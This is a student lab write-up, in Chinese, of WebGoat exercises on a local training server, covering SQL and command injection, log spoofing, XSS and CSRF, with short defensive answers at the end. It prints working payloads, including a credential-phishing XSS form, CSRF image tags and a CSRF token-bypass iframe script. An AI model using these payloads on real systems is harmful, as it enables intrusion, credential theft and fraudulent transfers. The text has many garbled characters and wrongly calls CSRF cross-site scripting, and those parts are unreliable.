2017-2018-2 20155315《网络对抗技术》Exp9 :Web安全基础

实验目的

理解经常使用网络攻击技术的基本原理。javascript

实验内容

  • SQL注入攻击
  • XSS攻击
  • CSRF攻击

Webgoat前期准备

  • GitHub上下载jar包
  • 拷贝到本地,并使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现INFO: Starting ProtocolHandler ["http-bio-8080"]则开启成功,能够看到占用8080端口,实验过程当中不能关闭终端
  • 打开浏览器输入127.0.0.1:8080/WebGoat,使用默认名和密码登陆
  • 在Webgoat中,solution是答案,hints是提示。打开界面,能够看到有一连串的课程。
  • 每完成一项课程就会有一个小对勾

(一)SQL注入攻击

选择Injection Flaws开始实践html

命令注入:Command Injection

命令注入攻击是对任何参数驱动的站点的严重威胁。java

  • 查看hints:使用系统命令获取文件的内容
  • 也就是说这个操做是要向操做系统注入命令
  • ps -ef为例,获取进程信息
  • 咱们在页面的源代码中加入咱们的命令:在源代码中找到"Backdoors.help",在其后加上"& ps -ef
  • 保存后下拉框中能够看到咱们刚刚修改的选项,点击view,能够看到进程信息

数字型注入:Numeric SQL Injection

  • 能看到给出的界面中显示了一条SQL语句SELECT * FROM weather_data WHERE station = ?,使用数字型SQL注入,能够在网页源代码中的选项后面加上or 1=1,这样就能够得到全部地区的天气信息了。
  • 还可用purpsutie抓包修改参数。
  • 打开purpsuite,点击Proxy->Options->Add添加一个监听端口,添加成功后运行
  • 点击浏览器中的preferences->Advanced->Network->Connection->settings->Manual proxy configuration:设置成刚刚绑定的端口号。
  • 接着在以前的课程页面上点击GO,在purpsuite->Proxy->Intercept能够看到捕获的包
  • 右键选择send to repeater,点击Repeater->Params可看到station的值为101,修改成“101 or 1=1”,点击GO,再点击Intercept is on,这时可看到显示全部地区天气信息

日志欺骗:Log Spoofing

  • 顾名思义,就是添加假的日志信息来迷惑操做系统,目的是让用户名“admin”成功登陆。
  • 在User Name输入zyl%0d%0aLogin Succeeded for username: admin,%0d是空格,%0a是换行
  • 点击登陆出现两行,一行提示zyl登陆失败,另外一行提示admin登陆成功,这些信息就会被保存到日志里了。

字符串注入:String SQL Injection

下面的表格容许用户查看他们的信用卡号码。尝试注入一个SQL字符串,致使显示全部信用卡号。尝试用户名“史密斯”。linux

  • 和数字型同样,咱们的目的是构建一个永真式,因为字符串在数据库中是由'构成的,咱们在last name中输入Smith' OR '1'='1全部的用户信息被输出

实验室stage1:String SQL Injection

  • 目的是在不知道密码的状况下登陆帐户Neville
  • 在密码框中输入' or 1=1 --
  • 登陆失败,查看网页源代码,发现对密码框有长度限制。将长度改成20再试一次,成功了。

实验室stage3:Numeric SQL Injection

  • 目的是用员工的帐户登陆,浏览boss的帐户
  • 首先用Larry的帐号登陆,使用' or 1=1 --做为密码
  • 点击ViewProfile能够查看用户信息,那么咱们要作的,就是点击这个按钮后跳转到boss的信息。
  • 查看网页源代码,能够看到索引的依据是员工ID,但是咱们不知道老板的ID怎么办?数据库中可使用排序来筛选信息,而老板通常工资都是最高的,将id的value改为101 or 1=1 order by salary desc --

数据库后门:Database Backdoors

  • 根据提示,输入id为101
  • 咱们能够看到插入查询语句的字符串没有通过任何处理,能够输入多条语句进行增、删、改、查

数字型盲注入:Blind Numeric SQL Injection

  • 目的是知道pin在pins 表里的值,先尝试101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );看pin的值是否大于100,显示数是合法的;再用500、1000、5000尝试,发现pin应该是小于5000的
  • 不断用二分法进行测试,发现pin为2364

字符串盲注入:Blind String SQL Injection

  • 目的依旧是要知道pin的值
  • 输入101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );出错,把1换成2101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );,不断尝试,结果为Jill

(二)XSS攻击

选择Cross-Site Scripting (XSS)开始实践git

网络钓鱼XSS:Phishing with XSS

使用XSS和HTML插入,您的目标是:
将html插入该请求凭据,添加javascript以实际收集凭据,将凭据发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要经过本课程,凭证必须发布到捕获者servlet。github

  • 根据要求,咱们编写代码,设计一个简单的登陆界面获取用户名和密码并发送到指定地方
    <script> function log(){ alert("Had this been a real attack... Your credentials were juststolen. User Name = " + document.forms[1].user.value + "Password =" + document.forms[1].pass.value); XSSImage=new Image(); XSSImage.src="catcher?PROPERTY=yes&user="+document.forms[1].user.value+ "&password=" + document.forms[1].pass.value + ""; } </script> <form><br><br> <HR> <H3>This featurerequires account login:</H3 > <br> <br>EnterUsername:<br> <input type="text" id="user"name="user"> <br>Enter Password:<br> <inputtype="password" name = "pass"><br> <inputtype="button" name="login" value="login" onclick="log()"> </form> <br><br><HR>
  • 点击搜索,看到下面有个登陆界面,登陆提示

存储型XSS攻击:Stored XSS Attacks

  • 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。由于是留言,因此任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行
  • 根据题目要求,在留言板中输入<script>alert("You've been attacked!!!");</script>
  • 其余用户登陆界面的时候点击刚刚提交的留言,弹框提示

反射型XSS攻击:Reflected XSS Attacks

发出请求时,XSS代码出如今URL中,做为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一块儿返回给浏览器,最后浏览器解析执行XSS代码web

  • 就像上一个实验直接在输入框中输入代码同样,反射型XSS是不持久的,在提交到后台的过程当中输入的JavaScript脚本就会被执行
  • 一样输入弹窗代码<script>alert("You've been attacked!!!");</script>,点击purse的同时页面就给出了反馈

(三)CSRF攻击

跨站脚本攻击:Cross Site Request Forgery

您的目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在本课中,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具备任意数值的额外参数“transferFunds”(如5000)。您能够经过查找“屏幕”来构建连接 “和”菜单“值在右侧的参数插入。 当时经过身份认证的CSRF电子邮件的接收者将转移资金。sql

  • 也就是说,要发送一个有恶意图片的电子邮件,目的是要转走用户的钱。
  • 在消息框中输入<img src="attack?Screen=277&menu=900&transferFunds=5000"/>,成功看到左边多了一个小绿√
  • 能够在当前页面的下边的Parameters中查看creen和menu的值

XSS提高:CSRF Prompt By-Pass

  • 和上一个实验差很少,多了一个确认转帐的任务
  • 输入代码
    <img src="attack?Screen=279&menu=900&transferFunds=5000"> <img src="attack?Screen=279&menu=900&transferFunds=confirm" >
  • 点击提交、查看留言、转帐并确认

CSRF令牌攻击:CSRF Token By-Pass

相似于CSRF课程,您的目标是向包含恶意请求转移资金的新闻组发送电子邮件。 要成功完成,您须要获取有效的请求令牌。 提供转帐资金表单的页面包含一个有效的请求令牌。 转移资金页面的URL是本课程的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds = main”的“攻击”servlet。 加载此页面,读取令牌,并在伪造的请求中附加令牌以传输数据。 当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查。数据库

  • 在前面实验的基础上,使用令牌传输数据
  • 输入代码
    <script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" ></iframe> <iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>
  • 按以前的步骤操做

实验问题回答

  • SQL注入攻击原理,如何防护
    • 程序对用户输入数据的合法性没有判断就直接插入查询语句,攻击者就能够添加额外的SQL语句或使用注释字符获得额外的信息
      • 对输入的字符串进行处理,筛除特殊字符
      • 普通用户与系统管理员用户的权限要有严格的区分
  • XSS攻击的原理,如何防护
    • 用户在输入框输入JavaScript代码,提交的时候直接执行,有办法得到网站的cookie
      • 表单提交的时候进行特殊字符的检测
      • 对输入框作长度限制
      • 在后台对数据进行过滤
  • CSRF攻击原理,如何防护
    • CSRF是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来得到其cookie等信息。通常存在XSS漏洞的网站,也极有可能存在CSRF漏洞。
      • 使用token:每个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,若是token不对,就断定位CSRF攻击。
      • 将提交方法改成post
      • 按期清理cookie
      • 使用随机数对表单中的值进行验证

实验总结

这是最后一个实验了,作完特别有成就感。每次实验作完以后都一直想要更深刻地实践一下,可是又特别怕本身技艺不精搞坏了,此次实验提供了一个可让咱们随时练习的平台,也经过实例让咱们在平时生活中能更注意一下容易被攻击的细节。浏览器

参考资料

相关文章
相关标签/搜索